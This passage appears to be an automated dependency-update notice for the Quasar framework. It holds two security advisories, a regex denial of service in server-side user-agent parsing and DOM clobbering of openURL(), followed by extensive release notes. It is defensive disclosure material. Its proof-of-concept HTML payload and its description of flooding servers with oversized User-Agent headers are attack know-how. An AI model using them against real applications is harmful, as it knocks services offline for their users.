(normal browser) status=200 3 ms was 4208 ms [6] VICTIM during 5-request flood status=200 2 ms was 21646 ms ``` Detection of real browsers is unchanged by the cap (`chrome 126.0.0.0`, platform `linux`), which confirms the blow-up comes from the unbounded attacker string reaching the regex and nothing else. The same numbers come out of a server that never touches `parseSSR` directly and instead boots Quasar the way the generated entry does, letting `install-quasar.js` run the auto-installed plugin list on its own: ```js const ssrContext = { req, res } const app = createSSRApp(RootComponent) app.use(Quasar, {}, ssrContext) const html = await renderToString(app, ssrContext) ``` ``` [3] malicious UA, GET / status=200 4354 ms [5] VICTIM (normal browser, benign UA) status=200 4269 ms [6] VICTIM during 5-request flood status=200 21872 ms [2] same-size benign UA (7998 B) status=200 2 ms ``` ##### Impact Uncontrolled resource consumption through inefficient regular expression complexity. Any app built and served in SSR mode is affected, including SSR plus PWA, in both `quasar dev -m ssr` and `quasar build -m ssr`. There is no configuration that turns it off, because `Platform` is part of the auto-installed plugin set, and no authentication or user interaction is involved: a single unauthenticated GET to any path carries the payload. Node.js is single threaded, so the cost is not paid by the attacker's connection alone. Every other visitor is queued behind it. Roughly 40 KB of traffic buys 20 seconds of downtime in the measurements above, and the cost scales with the cube of the header size, so an attacker who can send 16 KB headers gets about 35 seconds per request. Common reverse proxies do not help: nginx accepts an 8 KB header line by default and Node accepts 16 KB. Apps built for SPA, PWA, Electron, Cordova, Capacitor or browser-extension targets are not affected, since there the parser only ever sees the local `navigator.userAgent`. Static site generation is not affected either, because the `ssrContext` used there is supplied by the developer rather than by a request. #### Severity - CVSS Score: 8.7 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/quasarframework/quasar/security/advisories/GHSA-68jq-fhch-4xq4](https://github.com/quasarframework/quasar/security/advisories/GHSA-68jq-fhch-4xq4) - [https://nvd.nist.gov/vuln/detail/CVE-2026-106104](https://nvd.nist.gov/vuln/detail/CVE-2026-106104) - [https://github.com/quasarframework/quasar/commit/7a954ddafa756afe95c8f633f48ed68a07209d3d](https://github.com/quasarframework/quasar/commit/7a954ddafa756afe95c8f633f48ed68a07209d3d) - [https://github.com/quasarframework/quasar](https://github.com/quasarframework/quasar) - [https://github.com/quasarframework/quasar/releases/tag/quasar-v2.23.3](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.23.3) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-68jq-fhch-4xq4) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Quasar Framework: DOM Clobbering in Quasar openURL() SafariViewController Integration Causes Client-Side Denial of Service [CVE-2026-106101](https://nvd.nist.gov/vuln/detail/CVE-2026-106101) / [GHSA-89vp-x45c-52cq](https://github.com/advisories/GHSA-89vp-x45c-52cq) <details> <summary>More information</summary> #### Details ##### Summary A DOM Clobbering vulnerability exists in Quasar's `openURL()` utility when handling the iOS `SafariViewController` bridge. The vulnerable implementation only checks whether `window.SafariViewController` exists before invoking it as a native bridge object. An attacker who can inject HTML content containing a named element such as `<a id="SafariViewController">` can cause the browser to expose that element as `window.SafariViewController`. When `openURL()` is later called in an iOS environment, Quasar incorrectly treats the DOM element as the native bridge object and attempts to invoke bridge methods that do not exist, resulting in: ``` TypeError: window.SafariViewController.isAvailable is not a function ``` This can cause client-side denial of service and break navigation-related workflows in Quasar applications. ##### Details Quasar provides the `openURL()` utility to open external URLs. On iOS platforms, this utility supports integration with the native `SafariViewController` bridge. The vulnerable code is located in: ``` ui/src/utils/open-url/open-url.js ```` The affected logic is: ```javascript if (Platform.is.ios && window.SafariViewController !== void 0) { window.SafariViewController.isAvailable(available => { if (available) { window.SafariViewController.show({ url }, noop, reject) } }) } ```` The issue is that Quasar only verifies that `window.SafariViewController` is not `undefined`. It does not verify whether the value is the expected native bridge object or whether required methods such as `isAvailable()` and `show()` are valid functions. Modern browsers expose elements with specific `id` or `name` attributes as properties of the global `window` object. Therefore, attacker-controlled HTML such as: ```html <a id="SafariViewController"></a> ``` can cause: ```javascript window.SafariViewController ``` to resolve to an `HTMLAnchorElement` instead of the expected native bridge object. When Quasar later executes: ```javascript window.SafariViewController.isAvailable(...) ``` the DOM element is incorrectly treated as the bridge object, causing: ``` TypeError: window.SafariViewController.isAvailable is not a function ``` The root cause is insufficient validation of browser-controlled global properties before using them as trusted native bridge objects. The vulnerability was verified through the Quasar `QEditor` rendering path. When attacker-controlled HTML content is rendered into the DOM and creates the `SafariViewController` named element, subsequent calls to `openURL()` fail. Additional component-level affected paths were identified in `QSelect` and `QChatMessage` when applications enable HTML rendering features and provide attacker-controlled content. These paths require specific application configurations and were not used as the primary end-to-end reproduction. ##### PoC ##### Steps to reproduce 1. Render attacker-controlled HTML content through a Quasar HTML rendering component such as `QEditor`. 2. Insert the following payload: ```html <a id="SafariViewController" href="#bridge"> SafariViewController </a> ```` 3. Verify that the browser exposes the element as a global property: ```javascript window.SafariViewController ``` The value resolves to the injected DOM element instead of the expected native bridge object. 4. Trigger a normal workflow that invokes: ```javascript openURL('https://example.com') ``` 5. Observe the browser console output: ``` TypeError: window.SafariViewController.isAvailable is not a function ``` The URL opening workflow fails because Quasar attempts to invoke native bridge methods on the DOM element. The same underlying issue can also affect other HTML rendering paths such as `QSelect` and `QChatMessage` when attacker-controlled HTML is rendered and the application later calls `openURL()`. ##### Impact This vulnerability is a client-side DOM Clobbering and type confusion issue affecting Quasar applications that use the iOS `SafariViewController` integration. An attacker who can control HTML content rendered into the application DOM may cause Quasar's `openURL()` functionality to fail by replacing the expected native bridge object with a DOM element through browser named property resolution. Potentially affected workflows include external URL navigation, OAuth/login redirects, help or documentation links, payment flows, third-party service redirects, and other application actions that rely on URL opening functionality. The confirmed impact is client-side denial of service and navigation or workflow disruption. When the vulnerable condition is triggered, Quasar throws an exception while attempting to invoke methods on the clobbered `SafariViewController` object, preventing the expected URL opening behavior. #### Severity - CVSS Score: 3.1 / 10 (Low) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L` #### References - [https://github.com/quasarframework/quasar/security/advisories/GHSA-89vp-x45c-52cq](https://github.com/quasarframework/quasar/security/advisories/GHSA-89vp-x45c-52cq) - [https://nvd.nist.gov/vuln/detail/CVE-2026-106101](https://nvd.nist.gov/vuln/detail/CVE-2026-106101) - [https://github.com/quasarframework/quasar/commit/52d874bf55309dd3656fb02aed033ab025d477ec](https://github.com/quasarframework/quasar/commit/52d874bf55309dd3656fb02aed033ab025d477ec) - [https://github.com/quasarframework/quasar](https://github.com/quasarframework/quasar) - [https://github.com/quasarframework/quasar/releases/tag/quasar-v2.32.2](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.32.2) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-89vp-x45c-52cq) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>quasarframework/quasar (quasar)</summary> ### [`v2.32.2`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.32.2) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.32.1...quasar-v2.32.2) #### Security fixes - fix(openURL): DOM clobbering of the iOS SafariViewController bridge -> on iOS, attacker-controlled HTML rendered into the page (a `<a id="SafariViewController">` through QEditor, or QSelect / QChatMessage with HTML rendering enabled) shadowed the native bridge global, so every later `openURL()` call threw `TypeError: window.SafariViewController.isAvailable is not a function` and the URL never opened. `openURL()` now hands the URL to the bridge only when it exposes the expected `isAvailable()` and `show()` functions, and opens a regular window otherwise (GHSA-89vp-x45c-52cq) #### Fixes - fix(types): `framework.config.globalNodes` -> the option has been honored since [#&#8203;8634](https://github.com/quasarframework/quasar/issues/8634) (it sets the CSS class of the nodes Quasar appends to `<body>` for portals, Notify, Loading and LoadingBar) but was never declared in `QuasarUIConfiguration`, so a typed `quasar.config` file or `app.use(Quasar, { config: { globalNodes } })` rejected it. It is typed now, with its `class` member documented #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.32.1`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.32.1) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.32.0...quasar-v2.32.1) #### Changes - fix(QExpansionItem): group with several items opened on mount -> two or more items of the same `group` that both start with `model-value: true` (or `default-opened`) threw on mount since v2.32.0 and were left with every body visible under a collapsed header. The group sibling that has to close is now settled closed before its content element is ready, with `after-hide` emitted as usual ([#&#8203;18547](https://github.com/quasarframework/quasar/issues/18547)) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.32.0`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.32.0) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.31.0...quasar-v2.32.0) > \[!IMPORTANT] > Behavior changes worth checking before you upgrade: > > - **QImg now renders its `<img>` into the SSR/SSG HTML** whenever the box shape is known (`ratio`, `initial-ratio` or `height` set), instead of waiting for hydration. The markup a crawler or a no-JS client sees changes accordingly. Images with none of the three keep deferring to the client, unless you opt in with the new `ssr-prerender` prop. > - **The `.q-responsive__filler` element no longer exists**, and neither does QImg's filler node: the ratio now sits on the component root through CSS `aspect-ratio`. A QVideo with an explicit width resolves its ratio against that width instead of the parent's, and a QResponsive inside a height-clamped parent keeps its ratio by narrowing rather than squishing its content (Chromium and Firefox; WebKit keeps the previous full-width box). > - **QExpansionItem and QTree no longer render a QSlideTransition** around their content; they drive the slide on the content element themselves, so the two extra component instances per item (per tree node) are gone from the tree. Their `duration` prop is now a real `Number` prop on the component itself rather than a passthrough to the child. > - **On Chromium, QSlideTransition, QExpansionItem, QTree and the vertical QStep no longer write inline `height`/`transition` styles** while sliding: the slide runs as a Web Animation over a `calc-size(auto, size)` keyframe. Only `overflow-y` is written during the slide. Firefox and Safari keep the previous measuring CSS transition unchanged. > - **QInput autogrow textareas are sized by the browser** through CSS `field-sizing: content` where it is supported (Chromium 123+, Safari 26+), so no inline `height`/`overflow` styles appear on the textarea any more and a `max-height` scrolls natively. Older engines keep the JS measuring fallback. > - **QParallax registers no scroll or resize listener and no IntersectionObserver** where it can ride a view timeline (currently everything but Firefox). The `scroll` event and the `content` slot scope still work, but they are what forces the JS tracking back on, so use the slot only where you need its scope. #### New - feat(QImg): render the image in the SSR HTML; new prop -> `ssr-prerender` -> until now QImg only set the image source once the client had mounted, so under SSR/SSG the browser started fetching it after the JS bundle had downloaded and the app had hydrated: the preload scanner never saw it, crawlers and no-JS clients got an empty box, and any hero image behind QImg was a late LCP by construction. The server and the pre-hydration client now render the `<img>` themselves, visible from the first paint like a native image, with the placeholder underneath; on mount the component reconciles against the element it finds instead of trusting load events, so an image that finished before hydration still goes through the regular load (or error) path. Only images whose box shape is known (`ratio`, `initial-ratio` or `height`) are server-rendered by default, since otherwise the box would visibly snap from the default ratio to the natural one at hydration; the new `ssr-prerender` Boolean prop opts the rest in - feat(QDrawer): `pan` event with the stage of the swipe gestures -> the swipe-to-open and swipe-to-close gestures ran silently: an app could only learn that the drawer had opened or closed after the fact, through the model and the `show`/`hide` events, never that a swipe was in progress, so content mounted on open only came in once the drawer had already been dragged fully into view and the swipe itself showed an empty panel. QDrawer now emits `pan` with the gesture `type` (`'open'` or `'close'`) and its `stage`: `'start'` once the pan is detected, `'end'` when it crossed the threshold and `show()`/`hide()` ran, `'cancel'` when the finger let go short of it and the drawer sprang back - feat(QParallax): `refresh()` method -> everything the component settles at mount (the scrolling container and the way the media is moved along it, the media size, the position) was only re-checked on the events it listens to, so an ancestor changing its `overflow`, a media swapped without a load event or a `scroll-target` that only appears later left it stale with no way to tell it so. `refresh()` re-runs all three #### Other - perf(QParallax): the media moves on a view timeline where the browser has one -> the media now rides an `Element.animate()` on a `ViewTimeline` of the component root wherever the API exists and nothing scrollable sits between the root and its scroll target. The browser then moves it on its own thread, in step with the scroll whatever the main thread is doing, where the JS tracking wrote its transform a frame behind (one scroll step off in every other compositor frame) and stalled together with the main thread; the keyframes carry the exact numbers the JS tracking used, so the movement itself is unchanged. On that path the component registers no scroll or resize listener and no IntersectionObserver at all, the tracking being created only where the `scroll` event or the `content` slot needs the percentage, and there it reads the timeline's own progress instead of measuring. Firefox, and any layout the timeline cannot express (an `overflow: hidden` wrapper, a `scroll-target` that is not the nearest scroll container), keep the JS tracking, itself now measuring once per frame instead of once per scroll event. The media is also no longer left hidden until the first measurement, and a media without a natural size yet no longer measures a `display: none` box - perf(QSlideTransition): slide on a Web Animation where `calc-size()` is supported -> the height slide (so QExpansionItem, QTree and the vertical QStep) measured the content on every toggle, one `scrollHeight` read on show and two on hide, each forcing a layout: toggling N nodes in one tick (QTree expand/collapse all, filtering) forced N layouts on show and 2N on hide. Where the engine sizes a `calc-size(auto, size)` keyframe at layout (Chromium 129+) the slide is now an `Element.animate()` between 0 and that keyframe: no measurement, no forced layout, the height tracked live while sliding, and an interrupted slide of a kept element played backwards. Engines without `calc-size()` keep the measuring CSS transition, untouched. Chromium 153 headless, 200 boxes toggled in one tick: forced layouts on show 219 -> 20 and on hide 418 -> 19, layout time 13.7ms -> 8.4ms and 22.2ms -> 6.3ms - perf(QExpansionItem/QTree): slide the content directly, without QSlideTransition -> both components own their content element and its visibility, so the QSlideTransition + Transition pair per item (two component instances, per tree node) only relayed the slide hooks to a `v-show`. They now call the slide engine on the element themselves. Chromium 153 headless, a QTree with 780 nodes (155 parents) mounted expanded, median of 12 mounts: 43.1ms -> 32.3ms - perf(QInput): size autogrow textareas with CSS `field-sizing` where supported -> autogrow textareas now get `field-sizing: content` and skip the JS measuring routine entirely on browsers that implement the property: no rAF layout thrash per keystroke, no inline height/overflow writes, no `scrollTop` juggling, and the browser handles a `max-height` with native scrolling. Browsers below the property's floor (Chromium before 123, Safari before 26) keep the routine, which also coalesces to one measurement per frame now (a keystroke used to schedule two) and cancels a pending frame when autogrow turns off or the component unmounts. Height parity between the two paths was verified in Chromium, Firefox and WebKit across plain, labeled, outlined, filled, dense, max-height and custom font-size cases - refactor(ui): size QImg, QResponsive and QVideo ratio boxes with CSS `aspect-ratio` -> the `padding-bottom` percentage hack needed a dedicated filler element in QImg and QResponsive (plus a width-inheriting wrapper in the latter) and a zero-height root in QVideo. `aspect-ratio` is under the Baseline floor, so the ratio now sits on the root element itself and those nodes are gone: one element fewer per QImg, two fewer per QResponsive. See the note at the top - perf(use-position-engine): resolve the CSS anchor verdict once at import -> a QMenu or QTooltip setup now reads a boolean constant instead of calling into a cached support probe #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.31.0`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.31.0) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.30.1...quasar-v2.31.0) > \[!IMPORTANT] > Behavior changes worth checking before you upgrade: > > - **A readonly QInput/QSelect/QFile/QField now reflects focus**: it shows the focused styling (highlight, floated label, `hide-hint` hint), emits `focus`/`blur` and validates on blur with `lazy-rules`. Only `disable` now exempts a field from counting as focused, matching the existing rule that only `disable` exempts it from validation. > - **`config.dark: 'auto'` resolves again on SSR/SSG apps**, on the client once it takes over. It has silently been a plain light `false` since v2.18.2. The first paint stays light (the server cannot know the preference), so the documented cookie approach remains the way to a flash-free page. > - **The `fa` and `fa-IR` language packs render Persian digits** in QDate, QTime and QPagination, through the new root-level `formatNumber` pack key. > - **QStepper's horizontal DOM lost its `.q-panel.scroll` wrapper element**; its classes moved onto `.q-stepper__step-content`, now a direct descendant of `.q-stepper__step`. > - **The `q-transition--field-message-*` classes no longer exist.** Restyle a QField message swap through `.q-field__messages--animated` instead; the leave half of the animation (the old message fading out under the new one) is gone. #### New - feat(QColor): `palette` slot, and the picker is fully keyboard-accessible -> the palette view had no way to be customized: swatches were plain divs, laid out 10 per row, reachable by pointer only. The new scoped `palette` slot replaces the default swatches while keeping the other views and the view switcher, handing over the resolved colors (`palette`), a `select(color)` function and an `editable` flag. The default swatches become buttons following the roving tabindex pattern (arrows move, Up/Down by one visual row, Home/End jump to the edges, Enter/Space picks), and the spectrum panel, the last pointer-only part of the picker, becomes a WAI-ARIA slider over its two axes: arrows step the saturation and the brightness by one, ten with Shift, Home/End and PageUp/PageDown jump. Both follow the visual direction in RTL, both draw a two-tone inset focus ring that stays visible on any color, and the spectrum spells out its value through two new lang-pack keys, `colorPicker.saturation` and `colorPicker.brightness`, translated across every pack ([#&#8203;8613](https://github.com/quasarframework/quasar/issues/8613)) - feat(ui): shadow colors are CSS custom properties -> since v2.11 the elevation shadows are drawn with a light color while in Dark Mode, but the color was baked into the built CSS through the `$shadow-color`/`$dark-shadow-color` Sass variables, so the UMD build, the Vite plugin and every other prebuilt-CSS flavour had no way to revert or tune it short of restyling each component. Both colors are now declared on `:root` as `--q-shadow-color` and `--q-dark-shadow-color`, with the Sass variables as their defaults so existing Sass overrides keep working. Nothing moves by a pixel out of the box, and the pre-v2.11 look is a one-liner (`body.body--dark { --q-dark-shadow-color: #&#8203;000 }`); `transparent` removes the shadows altogether. The tints are derived on `body`, so the tokens are read at the `:root`/`body` level (a `body.body--dark` rule, `setCssVar()`), not on a deeper element ([#&#8203;15144](https://github.com/quasarframework/quasar/issues/15144)) - feat(Lang): `formatNumber` pack key, localized digits in QDate, QTime and QPagination -> a Persian calendar coupled with the `fa-IR` pack showed Persian month names next to Western day numbers, with no way to change that short of a font that remaps the ASCII digit glyphs. Language packs (and the `locale` prop) can now define an optional root-level `formatNumber(value)`, which receives the ASCII digit string the component would display, zero-padded where it is padded ("5", "05", "1403"), and returns the localized rendering. QDate routes its day cells, navigation year, years grid, header title and subtitle, the "N days" count and the day buttons' `aria-label` through it, QTime its header units and clock face, QPagination its page buttons and their `aria-label`. Model strings, date hashes and QTime's `stringModel` stay ASCII. The `fa` and `fa-IR` packs opt in; every other pack is unchanged ([#&#8203;12735](https://github.com/quasarframework/quasar/issues/12735)) - feat(QTable): `autoWidth` in the column definition -> shrinking a column to its content required a per-column `header-cell` and `body-cell` slot override with `<q-th auto-width>`/`<q-td auto-width>`, cumbersome for dynamically built columns, the only alternative being an undocumented class through `classes` and `headerClasses`. A column can now simply declare `autoWidth: true`, which applies to the auto-rendered cells as well as to QTh/QTd fed with the slot props ([#&#8203;8206](https://github.com/quasarframework/quasar/issues/8206)) #### Fixes - fix(QMenu/QDialog): the portal opening over a closing one takes the focus -> a QMenu item or a QDialog button carrying `v-close-popup` that opens a dialog made the two portals compete for focus, and the closing one won on both counts: the dialog opened without focus in its autofocus field (on Android the soft keyboard never showed), and it had captured, as the element to return focus to, an element inside the closing portal, destroyed with it, so closing the dialog dropped focus altogether. A portal closing while another one sits on top of it in its opening transition now hands its own anchor to the opener instead of restoring focus itself; portals that take no focus (`no-focus`, hover-shown menus) or that are already fully open decline the hand-off, so everything else is unchanged ([#&#8203;8211](https://github.com/quasarframework/quasar/issues/8211)) - fix(QField): a readonly field reflects focus like a native readonly control -> the focused state was gated on the field being editable, so a focus event landing while `readonly` was still true got dropped and nothing re-synced afterwards: a handler flipping `readonly` off and calling `focus()` in the same tick left the input holding DOM focus with the field unfocused, label resting over the caret. The gate itself was the problem, not its timing, since a readonly control stays in the tab order and a keyboard user tabbing onto it got no visible focus indication at all. The focused state now mirrors DOM focus, only `disable` keeping a field from counting as focused. See the note at the top ([#&#8203;16056](https://github.com/quasarframework/quasar/issues/16056)) - fix(QField): forward focus from the `control` slot wrapper to the control -> with a `control` slot, autofocus, `focus()` and every other way of focusing the field (QForm/QDialog/QMenu autofocus, `clearValue`, a click around the control) landed on the `q-field__native` wrapper: the field looked focused and emitted `focus`, but the slotted control never received the caret. The wrapper now forwards any focus it receives to the element bound to the slot scope id, else to the first focusable element of the slot, and keeps it only when the slot holds nothing focusable ([#&#8203;12648](https://github.com/quasarframework/quasar/issues/12648)) - fix(QField): no more one compositor layer per field on Chromium -> every QField label carried `backface-visibility: hidden`, which Chromium answers with a permanent compositor layer per label. With a few hundred fields on a page each hover repaint re-runs the layer assignment pass against all of those interleaved layers and it goes quadratic: on the reported layout (100 rows x 5 labelled number inputs) headless Chromium held \~22 fps with 50-67 ms frames while native inputs held 60. The rule dates from the Qv1 stylesheets with no recorded purpose and the settled label renders pixel-identical without it. Measured after: 6 composited layers instead of 461, \~65 ms of Layerize per hover sweep instead of \~1.7 s ([#&#8203;16024](https://github.com/quasarframework/quasar/issues/16024)) - fix(QSelect): typed text wins over the model's automatic highlight on Enter -> opening the list (and every filter completion) highlights the option mirroring the current value. With `new-value-mode`/`@new-value`, Enter or Tab then re-selected that option and silently dropped the text the user had just typed, `@new-value` never being emitted. The highlight now remembers whether it was placed automatically or by the user, and only the automatic one yields to typed text under new-value mode: navigated or hovered options still win, `fill-input`'s filled-in label is not user text so Enter right after opening still re-selects, and selects without new-value mode never consult it ([#&#8203;16514](https://github.com/quasarframework/quasar/issues/16514)) - fix(QStepper): the steps stay mounted across an orientation switch -> a stepper bound to `$q.screen` (`:vertical="$q.screen.lt.sm"`) lost the active step's content, form state included, whenever the viewport crossed the breakpoint, and `keep-alive` could not bridge it either, the two orientations rendering different trees with two different caches. Both orientations now render every QStep under `.q-stepper__content`, with one plain Transition per step driving the vertical height slide and the horizontal slide alike. `keep-alive-max`, which the vertical mode never honoured, is now counted by the stepper itself, and the stepper's `transition-duration` also drives the vertical slides (default unchanged). See the note at the top ([#&#8203;9703](https://github.com/quasarframework/quasar/issues/9703)) - fix(QStepper): a nested stepper keeps its own orientation -> the horizontal and vertical layout rules hung off the stepper root with descendant selectors, so a stepper nested inside a step of the other orientation matched both rule sets and source order decided: a vertical stepper inside a horizontal one drew a horizontal connector after its active label, lost its vertical connectors and got clipped by the tab overflow; a horizontal one inside a vertical stepper lost the connector before each dot and received the vertical content padding. Every orientation rule now hangs off a per-element modifier class instead of the root; no selector gained a class and several lost one, so existing overrides keep their targets and their precedence ([#&#8203;16516](https://github.com/quasarframework/quasar/issues/16516)) - fix(QStepper): show the prefix on an active erroring step with `active-icon="none"` -> the header decided the dot's content with two computeds that disagreed on which state wins, so an active step that also had `error`, with `active-icon` set to `none`, got neither the icon nor the prefix and the dot was left empty; a step-level `active`/`error`/`done-icon` of `none` hit the same blank. The state icon is now resolved once, with the step prop taking precedence over the stepper one, and both the prefix decision and the rendered icon derive from it ([#&#8203;15259](https://github.com/quasarframework/quasar/issues/15259)) - fix(QDrawer): mini-mode items stay put when the standard layout takes over -> in mini mode the item's side section was flex-centered inside the drawer's content box, which only agrees with the standard layout's 16px anchor when that box is exactly 56px wide. An unbordered drawer gives 57px, and on a display whose scale factor is not a whole number Chromium and WebKit snap the 1px border to a fraction of a pixel, so the centered icon landed on a fractional position and visibly jumped once the mini animation restored the standard layout (Mac Retina and 1x displays are exact, which is why it could not be reproduced there). The drawer now hands its current width to CSS as the `--q-drawer-width` custom property, documented as usable by user CSS, and the mini rule sizes the item from it, so 24px icons land on the standard inset at any scale factor, bordered or not ([#&#8203;18320](https://github.com/quasarframework/quasar/issues/18320)) - fix(QDrawer): iOS Safari's edge navigation swipe stays out of the drawer gestures -> on iOS Safari, swiping in from the screen edge to open a drawer also ran the browser's back/forward navigation gesture: the page slid towards the previous history entry while the drawer followed the finger. The same happened when the backdrop of a right-side drawer was swiped from the left edge to close it. The opener strip and the backdrop now cancel the touch sequence once the pan direction is detected, which is what leaves the page in Safari's hands, while a vertical move (and so the page scroll) is left alone - fix(prevent-scroll): the page background keeps painting under the iOS scroll lock -> the iOS lock pins the body with `position: fixed`, which collapses the root element to zero height, and a body background propagates to the canvas with the root box as its positioning area: a gradient or a cover-sized image stopped painting the moment a popup locked the page, showing a blank canvas behind the dialog. A solid color needs no positioning area, which is why the default dark page never showed it, and desktop and Android use the viewport clip lock, so only iOS was affected. The lock class now gives the root element `min-height: 100%`, `min-height` so user `html { height }` rules still win ([#&#8203;16799](https://github.com/quasarframework/quasar/issues/16799)) - fix(QResizeObserver): track padding and border changes of the observed element -> the component emits `offsetWidth`/`offsetHeight`, the border box, but observed the default content box, so a padding or border change on the observed element itself grew the border box without touching the content box and no notification fired. QHeader, QFooter and QDrawer size the layout through it, so a `padding-top: env(safe-area-inset-top)` rule placed on `.q-header` (the iOS PWA status-bar pattern) left QPageContainer with a page padding that ignored the inset until the device rotated. Padding on the toolbar child, which is what Quasar's own `q-ios-padding`/`q-safe-area-padding` rules use, was already tracked ([#&#8203;7526](https://github.com/quasarframework/quasar/issues/7526)) - fix(QPage): the children's vertical margins stay inside the page -> QPage was a plain block with no padding or border, so a first child's top margin (a `q-mt-md` card, say) collapsed through it and pushed the page down inside QPageContainer; together with the page's `min-height` the layout then exceeded the viewport and the window grew a scrollbar even when the content fit the screen. A last child's bottom margin did the same at the other end. The page now establishes a block formatting context, through a zero-specificity rule so display utilities on the page and user overrides keep winning ([#&#8203;9536](https://github.com/quasarframework/quasar/issues/9536)) - fix(Dark): `'auto'` resolves on SSR/SSG clients once they take over -> since v2.18.2 the ssr-client build reads its initial dark state from the server-emitted body class, and the server renders `'auto'` as light, so `config.dark: 'auto'` ended up as a plain `false` on every SSR/SSG app: no media query listener, light forever. The server now flags an `'auto'` render with a body attribute, and the client resolves it on takeover unless the app already set an explicit value meanwhile. A SSR+PWA shell boot, which has no server markup to read, starts from the config like an SPA does; the config was silently dropped there too. See the note at the top ([#&#8203;7530](https://github.com/quasarframework/quasar/issues/7530)) - fix(debounce): guard reentrant immediate calls -> a debounced function created with the `immediate` option could re-enter itself from within its own invocation and fire again instead of being held back for the wait period ([#&#8203;18544](https://github.com/quasarframework/quasar/issues/18544)) - fix(morph): give up on a destination detached before the first frame -> `morph()` defers its work to a `requestAnimationFrame` callback, and when the destination's subtree was removed in between (a `v-if` or an unmount in the same tick as the model change) the validity check still accepted it, because a detached subtree keeps its `parentNode`, and the fixed-position parent walk then reached `null` and threw inside `getComputedStyle` #### Other - perf(QField): message swaps animate with a CSS keyframe instead of a Transition -> every field with a hint, rules, a counter or an explicit `error` prop rendered a Transition component around its messages element, only to animate the hint-to-error swap. With Vue 3.5 that instance is about a quarter of a QInput's mount JS (2000 labelled inputs with hints: 148 ms to 113 ms on Chromium), and it was the single biggest item in the reporter's own devtools timeline. The messages element is keyed by its content, so a swap already re-creates it, and a keyframe on the new element reproduces the enter half of the old transition; nothing animates on page load and no field gets a composited layer at mount. See the note at the top ([#&#8203;12369](https://github.com/quasarframework/quasar/issues/12369)) - perf(ui): 2D transforms are written as 2D instead of the 3D variants -> Chromium gives any 3D transform function its own compositor layer, permanently, and with hundreds of instances on a page every repaint re-runs the layer assignment against all of them. The production stylesheet never shipped these (the minifier flattens them), but `quasar dev` compiles the Sass verbatim, so dev servers paid for a layer per radio, checkbox, toggle, slider ring, linear progress, date indicator, tree arrow, spinner and notification badge; the JS-built strings (QLinearProgress, QCircularProgress and through it QKnob, QAjaxBar, Ripple, QTabs' indicator) reached production as written, so those are a production win too. Every value is rewritten as its exact 2D equivalent and the minified `quasar.prod.css`/`quasar.rtl.prod.css` are byte-identical before and after. QLayout's layer hack and QParallax's media transform stay 3D on purpose #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.30.1`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.30.1) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.30.0...quasar-v2.30.1) #### Fixes - fix(ui): every directive guards its context again in `updated`/`beforeUnmount` -> Vue defers a directive's `updated` to the post-flush queue but runs `beforeUnmount` synchronously, so a queued `updated` can outlive the element's unmount and find its context already gone. v2.30.0 dropped the early return that covered this, and the hook threw a `TypeError`. In production Vue logs it; in development it rethrows, `flushJobs` never clears `currentFlushPromise` and nothing reactive is ever flushed again, freezing the app on whatever was painted. Reported for the four touch directives (a QScrollArea inside `<keep-alive :include>`, dropped from the cache in the same tick it re-renders), the guard is restored across all eleven: `v-close-popup`, `v-intersection`, `v-morph`, `v-mutation`, `v-ripple`, `v-scroll`, `v-scroll-fire` and `v-touch-hold`/`v-touch-pan`/`v-touch-repeat`/`v-touch-swipe` ([#&#8203;18543](https://github.com/quasarframework/quasar/issues/18543)) - fix(QInfiniteScroll): decide the first load at mount, not from the observer's opening report -> since the sentinel took over the trigger condition in v2.30.0, the first load waited for the observer's opening report, which lands a frame after mount. An app that fetches its first page from `@load` and renders a loading placeholder taller than `offset` while that runs (from its own `mounted` hook, a `nextTick` or an async component) had already grown the content by then, so that report read "out of reach" and an observer never re-reports a state that merely holds: `@load` never fired and the placeholder waited for data nobody had asked for. The first load is decided on mount again, off the DOM as it stands, by the same reach test the observer applies, and it is no longer routed through the debounced poll, so a paused fake clock (Playwright's `page.clock`) does not hold it back either. A component mounted out of reach stays quiet as before, and the observer still owns every load after the first 